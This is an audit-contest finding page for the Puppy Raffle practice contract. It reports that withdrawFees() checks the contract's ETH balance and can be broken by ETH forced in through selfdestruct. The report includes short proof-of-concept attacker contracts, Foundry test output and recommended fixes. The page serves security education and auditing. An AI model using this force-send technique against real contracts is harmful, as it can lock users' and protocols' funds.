Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Force-Sent ETH Bypasses withdrawFees Security Check

paktiko

Root + Impact

Description

The withdrawFees() function uses a flawed check require(address(this).balance == uint256(totalFees)) to ensure no active players before withdrawal. However, anyone can force-send ETH to the contract via selfdestruct or by setting it as a coinbase recipient, making the balance not equal to totalFees. This either permanently locks fees (if balance > totalFees) or allows premature withdrawal while players are active (if carefully crafted).

function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Impact:
Protocol fees can be permanently locked if excess ETH is sent to the contract. Alternatively, with careful manipulation, fees could be withdrawn while active players' funds are still in the contract, potentially leading to insolvency when winners try to claim prizes.

Proof of Concept

contract ForceEther {
function attack(address target) external payable {
selfdestruct(payable(target));
}
}
// 1. Deploy ForceEther with 1 wei
// 2. Call attack(puppyRaffleAddress)
// 3. Contract balance is now totalFees + 1 wei
// 4. withdrawFees() will always revert, locking fees forever

Recommended Mitigation

uint256 public totalCollected;
​
function enterRaffle(address[] memory newPlayers) public payable {
// ... existing checks ...
totalCollected += msg.value;
// ...
}
​
function refund(uint256 playerIndex) public {
// ... existing checks ...
totalCollected -= entranceFee;
// ...
}
​
function withdrawFees() external {
require(totalCollected == totalFees, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
totalCollected = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!